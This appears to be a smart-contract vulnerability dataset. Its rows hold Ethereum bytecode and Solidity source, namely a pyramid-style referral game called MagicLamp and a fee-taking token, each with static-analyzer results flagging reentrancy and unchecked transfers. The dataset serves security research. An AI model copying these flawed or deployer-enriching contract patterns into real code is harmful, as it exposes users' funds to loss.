0a03600435166024351515610c73565b3480156105e157600080fd5b506102ad600160a060020a0360043516610cee565b6000635ae3b98042101580156106105750635b0c97ff4211155b15610624576064603283025b0490506106c8565b635b0c9800421015801561063c5750635b36c7ff4211155b1561064c5760646028830261061c565b635b36c80042101580156106645750635b5fa67f4211155b15610674576064601e830261061c565b635b5fa680421015801561068c5750635b89d67f4211155b1561069c5760646014830261061c565b635b89d68042101580156106b45750635bb2b4ff4211155b156106c4576064600a830261061c565b5060005b919050565b60008282016106ea8482108015906106e55750838210155b610d49565b9392505050565b60006106ff83831115610d49565b50900390565b600354600160a060020a031681565b600054600160a060020a0316331461072b57600080fd5b600991909155600855565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107bc5780601f10610791576101008083540402835291602001916107bc565b820191906000526020600020905b81548152906001019060200180831161079f57829003601f168201915b505050505081565b336000908152600b60209081526040808320600160a060020a039590951683529390529190912055600190565b60075481565b600254600160a060020a031681565b60065460ff1681565b336000908152600a602052604081205482111561082b57600080fd5b336000818152600a602090815260409182902080548690039055600780548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a2506001919050565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107bc5780601f10610791576101008083540402835291602001916107bc565b60095481565b600a6020526000908152604090205481565b600054600160a060020a0316331461091057600080fd5b600160a060020a0382166000908152600a60209081526040808320805485019055600780548501905580518481529051309392600080516020610e14833981519152928290030190a3604080518281529051600160a060020a038416913091600080516020610e148339815191529181900360200190a35050565b600160a060020a0382166000908152600a60205260408120548211156109b057600080fd5b600160a060020a0383166000908152600b602090815260408083203384529091529020548211156109e057600080fd5b600160a060020a0383166000818152600a6020908152604080832080548790039055600b825280832033845282529182902080548690039055600780548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b60085481565b600054600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107bc5780601f10610791576101008083540402835291602001916107bc565b610ad7338383610d58565b5050565b600c6020526000908152604090205460ff1681565b600083610afd81856107c4565b15610c01576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b83811015610b95578181015183820152602001610b7d565b50505050905090810190601f168015610bc25780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610be457600080fd5b505af1158015610bf8573d6000803e3d6000fd5b50505050600191505b509392505050565b600b60209081526000928352604080842090915290825290205481565b600954810230311015610c3857600080fd5b610c43333083610d58565b6009546040513391830280156108fc02916000818181858888f19350505050158015610ad7573d6000803e3d6000fd5b600054600160a060020a03163314610c8a57600080fd5b600160a060020a0382166000818152600c6020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600054600160a060020a03163314610d0557600080fd5b600160a060020a0381161515610d1a57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b801515610d5557600080fd5b50565b600160a060020a0382161515610d6d57600080fd5b600160a060020a0383166000908152600a6020526040902054811115610d9257600080fd5b600160a060020a0382166000908152600a60205260409020548181011015610db957600080fd5b600160a060020a038084166000818152600a602090815260408083208054879003905593861680835291849020805486019055835185815293519193600080516020610e14833981519152929081900390910190a35050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058209bcd21ac923db86a34cb775c43e6b9749c8b057908f56e8d16787a19519d42d60029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
222
0x103f177AFE527531179b24771a290F62a09D117b
// SPDX-License-Identifier: MIT pragma solidity ^ 0.6.6; contract MagicLamp{ address THIS = address(this); Pyramid public PiZZa; RugToken public Rugs; uint public wishes = 1000; address public CarpetRider; uint public CarpetRiderHP; address public GENIE; uint public GENIE_generation; address public APPARITION; ERC20 public Resolve; address payable address0 = address(0); mapping(address => address) public gateway; mapping(address => bool) public initiated; mapping(address => uint) public pocket; constructor() public{ PiZZa = Pyramid(0x91683899ed812C1AC49590779cb72DA6BF7971fE); Rugs = new RugToken(); APPARITION = msg.sender; GENIE = APPARITION; CarpetRider = APPARITION; Resolve = PiZZa.resolveToken(); gateway[GENIE] = GENIE; initiated[APPARITION] = true; } function weight(address addr) public view returns(uint){ return Resolve.balanceOf(addr); } function rugs(address addr) public view returns(uint){ return Rugs.balanceOf(addr); } function buy(address _gateway, uint _red, uint _green, uint _blue) public payable returns(uint bondsCreated){ address sender = msg.sender; if( !initiated[sender] ){ if( initiated[_gateway] ){ gateway[sender] = _gateway; }else{ gateway[sender] = CarpetRider; } initiated[sender] = true; } if(_red>1e18) _red = 1e18; if(_green>1e18) _green = 1e18; if(_blue>1e18) _blue = 1e18; uint[] memory UINTs = new uint[](4); UINTs[0] = msg.value * 3 / 100; UINTs[1] = msg.value * 2 / 100; UINTs[2] = msg.value * 1 / 100; UINTs[3] = msg.value * 6 / 1000; uint eth4PiZZa = msg.value - UINTs[0] - UINTs[1] - UINTs[2] - UINTs[3]; address lvl1 = gateway[sender]; if( weight(lvl1) > weight(sender) ){ pocket[ lvl1 ] += UINTs[0]; }else{ carpetRiderCashout(UINTs[0]); emit ReffSnatch(CarpetRider, gateway[sender]); gateway[sender] = CarpetRider; } address lvl2 = gateway[lvl1]; if( weight(lvl2) > weight(sender) ){ pocket[ lvl2 ] += UINTs[1]; }else{ carpetRiderCashout(UINTs[1]); emit ReffSnatch(sender, gateway[lvl1]); gateway[lvl1] = sender; } address lvl3 = gateway[lvl2]; if( weight(lvl3) > weight(sender) ){ pocket[ lvl3 ] += UINTs[2]; }else{ carpetRiderCashout(UINTs[2]); emit ReffSnatch(sender, gateway[lvl2]); gateway[lvl2] = sender; } pocket[ GENIE ] += UINTs[3]; uint createdPiZZa = PiZZa.buy{value: eth4PiZZa}(sender, _red, _green, _blue); if(CarpetRider != sender){ uint damage = weight(sender); if( CarpetRiderHP <= damage ){ CarpetRider = sender; CarpetRiderHP = weight(sender); emit RugPulled(sender, CarpetRider, CarpetRiderHP, false); }else{ if(damage>0){ CarpetRiderHP -= damage; emit Damaged( CarpetRider, damage, false); } } }else{ if( CarpetRiderHP < weight(sender) && msg.value > 0.001 ether){ CarpetRiderHP = weight(sender); emit Healed(sender, weight(sender)); } } if(wishes > 0 && msg.value > 0.01 ether){ wishes -= 1; Rugs.mint(sender, createdPiZZa); } return createdPiZZa; } event Healed(address rider, uint HP); event RugPulled(address winner, address loser, uint HP, bool rugMagic); event Damaged(address CarpetRider, uint damage, bool rugMagic); event ReffSnatch(address snatcher, address slacker); event CarpetRiderCashout(address buyer, uint ETH); function carpetRiderCashout(uint ETH) internal{ pocket[CarpetRider] += ETH; emit CarpetRiderCashout(CarpetRider, ETH); } event Withdraw(address account, uint amount); function withdraw() public{ address sender = msg.sender; uint amount = pocket[sender]; if( amount>0 ){ pocket[sender] = 0; (bool success, ) = sender.call{value:amount}(""); emit Withdraw(sender, amount); require(success, "Transfer failed."); }else{ revert(); } } event RechargeMagicLamp( address indexed addr, uint256 amountStaked ); event DamageGenie(address rider, address genie, uint damage); event KillGenie(address rider, address genie); function tokenFallback(address from, uint value, bytes calldata _data) external{ if(msg.sender == address(Resolve) ){ if(wishes == 0){ wishes += value / 1e16; //100 per resolve token GENIE = from; //takes the resolve tokens used to recharge the magic lamp and it stakes those //only the original dev benefits from these soulecules being staked //the address that recharged the lamp benefits as GENIE //only every 6th generation stakes soulecules. waits for first 6 if(GENIE_generation % 6 == 0){ uint earnings = PiZZa.resolveEarnings( THIS ); if(earnings > 0){ PiZZa.withdraw(earnings); (bool success, ) = APPARITION.call{value:earnings}(""); require(success, "Transfer failed."); } } GENIE_generation += 1; emit RechargeMagicLamp(from, wishes); }else{ revert("only when there is 0 wishes"); } }else{ if( msg.sender == address(Rugs) ){ require( value > 0 ); uint rugMagic = value; if(from == CarpetRider){ if(APPARITION != GENIE && CarpetRider != GENIE){ rugMagic = rugMagic / 1e18; if(rugMagic >= wishes){ //kill if(wishes>0){ wishes = 0; uint soulecules = Resolve.balanceOf(THIS)/2; if (soulecules>0) Resolve.transfer( address(PiZZa), soulecules); Resolve.transfer( CarpetRider, soulecules ); emit KillGenie(CarpetRider, GENIE); }else{ revert("they're already dead."); } }else{ //damage wishes -= rugMagic; emit DamageGenie(CarpetRider, GENIE, rugMagic); } }else{ //You can send the lamp carpets... no problem. } }else{ uint damage = rugMagic; if( CarpetRiderHP <= damage ){ CarpetRider = from; CarpetRiderHP = weight(from); emit RugPulled(from, CarpetRider, CarpetRiderHP, true); }else{ if(damage>0){ CarpetRiderHP -= damage; emit Damaged( CarpetRider, damage, true ); } } } }else{ revert("no want"); } } } event GenieBlast( address indexed from, address indexed to, uint256 amount ); function genieBlast(address target, uint heat) external{ if(msg.sender == GENIE && APPARITION != GENIE && target != CarpetRider){ Rugs.rugBurn(target, heat); emit GenieBlast(GENIE, target, heat); } } } abstract contract Pyramid{ function buy(address addr, uint _red, uint _green, uint _blue) public virtual payable returns(uint createdBonds); function resolveToken() public view virtual returns(ERC20); function resolveEarnings(address _owner) public view virtual returns (uint256 amount); function withdraw(uint amount) public virtual returns(uint); } abstract contract ERC20{ function balanceOf(address _owner) public view virtual returns (uint256 balance); function transfer(address _to, uint _value) public virtual returns (bool); } contract RugToken{ string public name = "Comfy Rugs"; string public symbol = "RUG"; uint8 constant public decimals = 18; address public owner; constructor() public{ owner = msg.sender; } modifier ownerOnly{ require(msg.sender == owner); _; } event Mint( address indexed addr, uint256 amount ); function mint(address _address, uint _value) external ownerOnly(){ balances[_address] += _value; _totalSupply += _value; emit Mint(_address, _value); } mapping(address => uint256) public balances; uint public _totalSupply; mapping(address => mapping(address => uint)) approvals; event Transfer( address indexed from, address indexed to, uint256 amount, bytes data ); event Transfer( address indexed from, address indexed to, uint256 amount ); event RugBurn( address indexed from, address indexed to, uint256 amount ); function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } // Standard function transfer similar to ERC20 transfer with no _data. // Added due to backwards compatibility reasons . function rugBurn(address _target, uint _value) public virtual{ address sender = msg.sender; require( _value <= balances[sender] ); require( balances[_target] > 0 ); uint damage; if( balances[_target] <= _value){ damage = balances[_target]; }else{ damage = _value; } balances[sender] -= damage; balances[_target] -= damage; _totalSupply -= damage*2; emit RugBurn(sender, _target, damage); } // Function that is called when a user or another contract wants to transfer funds. function transfer(address _to, uint _value, bytes memory _data) public virtual returns (bool) { if( isContract(_to) ){ return transferToContract(_to, _value, _data); }else{ return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data. // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public virtual returns (bool) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)){ return transferToContract(_to, _value, empty); }else{ return transferToAddress(_to, _value, empty); } } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes memory _data) private returns (bool) { moveTokens(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes memory _data) private returns (bool) { moveTokens(msg.sender, _to, _value); ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } function moveTokens(address _from, address _to, uint _amount) internal virtual{ require( _amount <= balances[_from] ); //update balances balances[_from] -= _amount; balances[_to] += _amount; } function allowance(address src, address guy) public view returns (uint) { return approvals[src][guy]; } function transferFrom(address src, address dst, uint amount) public returns (bool){ address sender = msg.sender; require(approvals[src][sender] >= amount); require(balances[src] >= amount); approvals[src][sender] -= amount; moveTokens(src,dst,amount); bytes memory empty; emit Transfer(sender, dst, amount, empty); emit Transfer(sender, dst, amount); return true; } event Approval(address indexed src, address indexed guy, uint amount); function approve(address guy, uint amount) public returns (bool) { address sender = msg.sender; approvals[sender][guy] = amount; emit Approval( sender, guy, amount ); return true; } function isContract(address _addr) public view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } if(length>0) { return true; }else { return false; } } } abstract contract ERC223ReceivingContract{ function tokenFallback(address _from, uint _value, bytes calldata _data) external virtual; }
0x6080604052600436106101095760003560e01c80634455b08511610095578063c0ee0b8a11610064578063c0ee0b8a14610304578063dffb2d4e14610396578063e4b2acfe146103c9578063f4396e2a146103de578063fef502ce1461041157610109565b80634455b085146102925780634e13c2ed146102a75780638c0449ce146102bc578063acf73c9b146102ef57610109565b80631db6597a116100dc5780631db6597a1461020357806335504bde1461023e57806337f50f57146102535780633ccfd60b14610268578063428109f41461027d57610109565b8063049939f31461010e57806313491bc8146101555780631622dbe414610186578063180c06e5146101d0575b600080fd5b34801561011a57600080fd5b506101416004803603602081101561013157600080fd5b50356001600160a01b0316610426565b604080519115158252519081900360200190f35b34801561016157600080fd5b5061016a61043b565b604080516001600160a01b039092168252519081900360200190f35b6101be6004803603608081101561019c57600080fd5b506001600160a01b03813516906020810135906040810135906060013561044a565b60408051918252519081900360200190f35b3480156101dc57600080fd5b5061016a600480360360208110156101f357600080fd5b50356001600160a01b0316610ced565b34801561020f57600080fd5b5061023c6004803603604081101561022657600080fd5b506001600160a01b038135169060200135610d08565b005b34801561024a57600080fd5b5061016a610e0c565b34801561025f57600080fd5b506101be610e1b565b34801561027457600080fd5b5061023c610e21565b34801561028957600080fd5b5061016a610f2a565b34801561029e57600080fd5b506101be610f39565b3480156102b357600080fd5b506101be610f3f565b3480156102c857600080fd5b506101be600480360360208110156102df57600080fd5b50356001600160a01b0316610f45565b3480156102fb57600080fd5b5061016a610fc8565b34801561031057600080fd5b5061023c6004803603606081101561032757600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561035757600080fd5b82018360208201111561036957600080fd5b8035906020019184600183028401116401000000008311171561038b57600080fd5b509092509050610fd7565b3480156103a257600080fd5b506101be600480360360208110156103b957600080fd5b50356001600160a01b03166116c3565b3480156103d557600080fd5b5061016a6116d5565b3480156103ea57600080fd5b506101be6004803603602081101561040157600080fd5b50356001600160a01b03166116e4565b34801561041d57600080fd5b5061016a611735565b600c6020526000908152604090205460ff1681565b6004546001600160a01b031681565b336000818152600c602052604081205490919060ff1661050c576001600160a01b0386166000908152600c602052604090205460ff16156104b8576001600160a01b038181166000908152600b6020526040902080546001600160a01b0319169188169190911790556104e8565b6004546001600160a01b038281166000908152600b6020526040902080546001600160a01b031916919092161790555b6001600160a01b0381166000908152600c60205260409020805460ff191660011790555b670de0b6b3a764000085111561052857670de0b6b3a764000094505b670de0b6b3a764000084111561054457670de0b6b3a764000093505b670de0b6b3a764000083111561056057670de0b6b3a764000092505b60408051600480825260a0820190925260609160208201608080368337019050509050606460033402048160008151811061059757fe5b602090810291909101015260646002340204816001815181106105b657fe5b602090810291909101015260643404816002815181106105d257fe5b60209081029190910101526103e86006340204816003815181106105f257fe5b60200260200101818152505060008160038151811061060d57fe5b60200260200101518260028151811061062257fe5b60200260200101518360018151811061063757fe5b60200260200101518460008151811061064c57fe5b6020026020010151340303030390506000600b6000856001600160a01b03166001600160a01b0316815260200190815260200160002060009054906101000a90046001600160a01b031690506106a1846116e4565b6106aa826116e4565b11156106ee57826000815181106106bd57fe5b6020908102919091018101516001600160a01b0383166000908152600d909252604090912080549091019055610799565b61070b836000815181106106fe57fe5b6020026020010151611744565b6004546001600160a01b038581166000908152600b602090815260409182902054825194841685529092169183019190915280517f2d5011f2e318269531b37e0c93259ee0ca45e17c9940388ad8ab193696823a889281900390910190a16004546001600160a01b038581166000908152600b6020526040902080546001600160a01b031916919092161790555b6001600160a01b038082166000908152600b6020526040902054166107bd856116e4565b6107c6826116e4565b111561080a57836001815181106107d957fe5b6020908102919091018101516001600160a01b0383166000908152600d9092526040909120805490910190556108a0565b61081a846001815181106106fe57fe5b6001600160a01b038083166000908152600b6020908152604091829020548251848a16815293169083015280517f2d5011f2e318269531b37e0c93259ee0ca45e17c9940388ad8ab193696823a889281900390910190a16001600160a01b038281166000908152600b6020526040902080546001600160a01b0319169187169190911790555b6001600160a01b038082166000908152600b6020526040902054166108c4866116e4565b6108cd826116e4565b111561091157846002815181106108e057fe5b6020908102919091018101516001600160a01b0383166000908152600d9092526040909120805490910190556109a7565b610921856002815181106106fe57fe5b6001600160a01b038083166000908152600b6020908152604091829020548251848b16815293169083015280517f2d5011f2e318269531b37e0c93259ee0ca45e17c9940388ad8ab193696823a889281900390910190a16001600160a01b038281166000908152600b6020526040902080546001600160a01b0319169188169190911790555b846003815181106109b457fe5b6020026020010151600d6000600660009054906101000a90046001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020600082825401925050819055506000600160009054906101000a90046001600160a01b03166001600160a01b0316631622dbe486898e8e8e6040518663ffffffff1660e01b815260040180856001600160a01b03166001600160a01b031681526020018481526020018381526020018281526020019450505050506020604051808303818588803b158015610a8a57600080fd5b505af1158015610a9e573d6000803e3d6000fd5b50505050506040513d6020811015610ab557600080fd5b50516004549091506001600160a01b03888116911614610bcb576000610ada886116e4565b90508060055411610b6957600480546001600160a01b0319166001600160a01b038a16179055610b09886116e4565b6005819055600454604080516001600160a01b03808d1682529092166020830152818101929092526000606082015290517f12ae7452eaea6a75fa46cc382bd0a00c49b2f60a065554cc195026452cfaef329181900360800190a1610bc5565b8015610bc557600580548290039055600454604080516001600160a01b03909216825260208201839052600082820152517f6110b5a17c67546d59ebbf6dec10045b48e35afda312bd6ce7e09d4699fe4adc9181900360600190a15b50610c49565b610bd4876116e4565b600554108015610bea575066038d7ea4c6800034115b15610c4957610bf8876116e4565b6005557fb714a55d7bb8d35d8cf25c68ae8435a49a2faaffa841fcb1303d75dbf0a9056887610c26816116e4565b604080516001600160a01b03909316835260208301919091528051918290030190a15b6000600354118015610c615750662386f26fc1000034115b15610cde5760038054600019019055600254604080516340c10f1960e01b81526001600160a01b038a8116600483015260248201859052915191909216916340c10f1991604480830192600092919082900301818387803b158015610cc557600080fd5b505af1158015610cd9573d6000803e3d6000fd5b505050505b9b9a5050505050505050505050565b600b602052600090815260409020546001600160a01b031681565b6006546001600160a01b031633148015610d3357506006546008546001600160a01b03908116911614155b8015610d4d57506004546001600160a01b03838116911614155b15610e0857600254604080516370cc9bf360e11b81526001600160a01b038581166004830152602482018590529151919092169163e19937e691604480830192600092919082900301818387803b158015610da757600080fd5b505af1158015610dbb573d6000803e3d6000fd5b50506006546040805185815290516001600160a01b0380881695509290921692507f9ed141331131ae4ba3bf0a1b4f88306f16b142edd2e5ddadede92b0ac0cfb81c919081900360200190a35b5050565b6001546001600160a01b031681565b60035481565b336000818152600d60205260409020548015610109576001600160a01b0382166000818152600d60205260408082208290555190919083908381818185875af1925050503d8060008114610e91576040519150601f19603f3d011682016040523d82523d6000602084013e610e96565b606091505b5050604080516001600160a01b03861681526020810185905281519293507f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364929081900390910190a180610f24576040805162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b604482015290519081900360640190fd5b50610e08565b6009546001600160a01b031681565b60055481565b60075481565b600254604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b158015610f9657600080fd5b505afa158015610faa573d6000803e3d6000fd5b505050506040513d6020811015610fc057600080fd5b505192915050565b6008546001600160a01b031681565b6009546001600160a01b0316331415611267576003546112155760038054662386f26fc100008504019055600680546001600160a01b0319166001600160a01b038616178155600754066111c6576001546000805460408051632428fc8d60e11b81526001600160a01b039283166004820152905192939190911691634851f91a91602480820192602092909190829003018186803b15801561107957600080fd5b505afa15801561108d573d6000803e3d6000fd5b505050506040513d60208110156110a357600080fd5b5051905080156111c45760015460408051632e1a7d4d60e01b81526004810184905290516001600160a01b0390921691632e1a7d4d916024808201926020929091908290030181600087803b1580156110fb57600080fd5b505af115801561110f573d6000803e3d6000fd5b505050506040513d602081101561112557600080fd5b50506008546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611174576040519150601f19603f3d011682016040523d82523d6000602084013e611179565b606091505b50509050806111c2576040805162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b604482015290519081900360640190fd5b505b505b60078054600101905560035460408051918252516001600160a01b038616917f9bddd43f854dbd4541f36bc4103eaee6579d2d3a16e59dbe02cc4485ff7901bb919081900360200190a2611262565b6040805162461bcd60e51b815260206004820152601b60248201527f6f6e6c79207768656e2074686572652069732030207769736865730000000000604482015290519081900360640190fd5b6116bd565b6002546001600160a01b0316331415611686576000831161128757600080fd5b60045483906001600160a01b0386811691161415611593576006546008546001600160a01b039081169116148015906112d157506006546004546001600160a01b03908116911614155b1561158e57670de0b6b3a764000081049050600354811061153257600354156114e857600060038190556009548154604080516370a0823160e01b81526001600160a01b039283166004820152905160029392909216916370a0823191602480820192602092909190829003018186803b15801561134e57600080fd5b505afa158015611362573d6000803e3d6000fd5b505050506040513d602081101561137857600080fd5b50518161138157fe5b0490508015611410576009546001546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018590529051919092169163a9059cbb9160448083019260209291908290030181600087803b1580156113e357600080fd5b505af11580156113f7573d6000803e3d6000fd5b505050506040513d602081101561140d57600080fd5b50505b600954600480546040805163a9059cbb60e01b81526001600160a01b0392831693810193909352602483018590525192169163a9059cbb916044808201926020929091908290030181600087803b15801561146a57600080fd5b505af115801561147e573d6000803e3d6000fd5b505050506040513d602081101561149457600080fd5b5050600454600654604080516001600160a01b03938416815292909116602083015280517f2919e1430f0b7f7575a3bd2bab1fa927e6f0567c0d9ecf3b47c28dc380c17e459281900390910190a15061152d565b6040805162461bcd60e51b81526020600482015260156024820152743a3432bc93b9329030b63932b0b23c903232b0b21760591b604482015290519081900360640190fd5b61158e565b600380548290039055600454600654604080516001600160a01b03938416815291909216602082015280820183905290517f05e516ede0a038f1df924374b640792967edaa07bf45ba9a28ddaa37a67c015e9181900360600190a15b611680565b6005548190811061162257600480546001600160a01b0319166001600160a01b0388161790556115c2866116e4565b6005819055600454604080516001600160a01b03808b1682529092166020830152818101929092526001606082015290517f12ae7452eaea6a75fa46cc382bd0a00c49b2f60a065554cc195026452cfaef329181900360800190a161167e565b801561167e57600580548290039055600454604080516001600160a01b03909216825260208201839052600182820152517f6110b5a17c67546d59ebbf6dec10045b48e35afda312bd6ce7e09d4699fe4adc9181900360600190a15b505b506116bd565b6040805162461bcd60e51b81526020600482015260076024820152661b9bc81dd85b9d60ca1b604482015290519081900360640190fd5b50505050565b600d6020526000908152604090205481565b6002546001600160a01b031681565b600954604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b158015610f9657600080fd5b6006546001600160a01b031681565b600480546001600160a01b039081166000908152600d6020908152604091829020805486019055925481519216825291810183905281517f369b49a175b49589a42180af73154b420cc25e5a30a0d050060824f7705c9617929181900390910190a15056fea2646970667358221220b02b808a5bdbd6df85013a0f393eeb9274437a9f137ba6d5eb87eed1b59aecd664736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
223
0xA1f8B3cB23D5a67047F65ef4204D839fD6b533CD
/* t.me/JesusERC Total tokens: 100,000,000 Taxes: 12% */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } abstract contract IERC20Extented is IERC20 { function decimals() external view virtual returns (uint8); function name() external view virtual returns (string memory); function symbol() external view virtual returns (string memory); } contract CopyCapital is Context, IERC20, IERC20Extented, Ownable { using SafeMath for uint256; string private constant _name = "Copy Capital V2"; string private constant _symbol = "CC"; uint8 private constant _decimals = 9; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant _tTotal = 1000 * 1e9 * 1e9; // 1,000,000,000,000 uint256 private _firstBlock; uint256 private _sniporBlocks; uint256 public _maxWalletAmount; // fees uint256 public _liquidityFee = 20; // divided by 1000 uint256 private _previousLiquidityFee = _liquidityFee; uint256 public _marketingFee = 100; // divided by 1000 uint256 private _previousMarketingFee = _marketingFee; uint256 private _marketingPercent = 1000; struct FeeBreakdown { uint256 tLiquidity; uint256 tMarketing; uint256 tAmount; } mapping(address => bool) private snipors; address payable private _marketingAddress = payable(0x81CAd79E9A7Fdd1ccd7b872301840e8016d2a35f); IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; uint256 private _maxTxAmount; bool private tradingOpen = false; bool private inSwap = false; bool private trdg = true; bool private pairSwapped = false; event EndedTrdg(bool trdg); event MaxTxAmountUpdated(uint256 _maxTxAmount); event FeesUpdated(uint256 _marketingFee, uint256 _liquidityFee); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { IUniswapV2Router02 _uniswapV2Router = 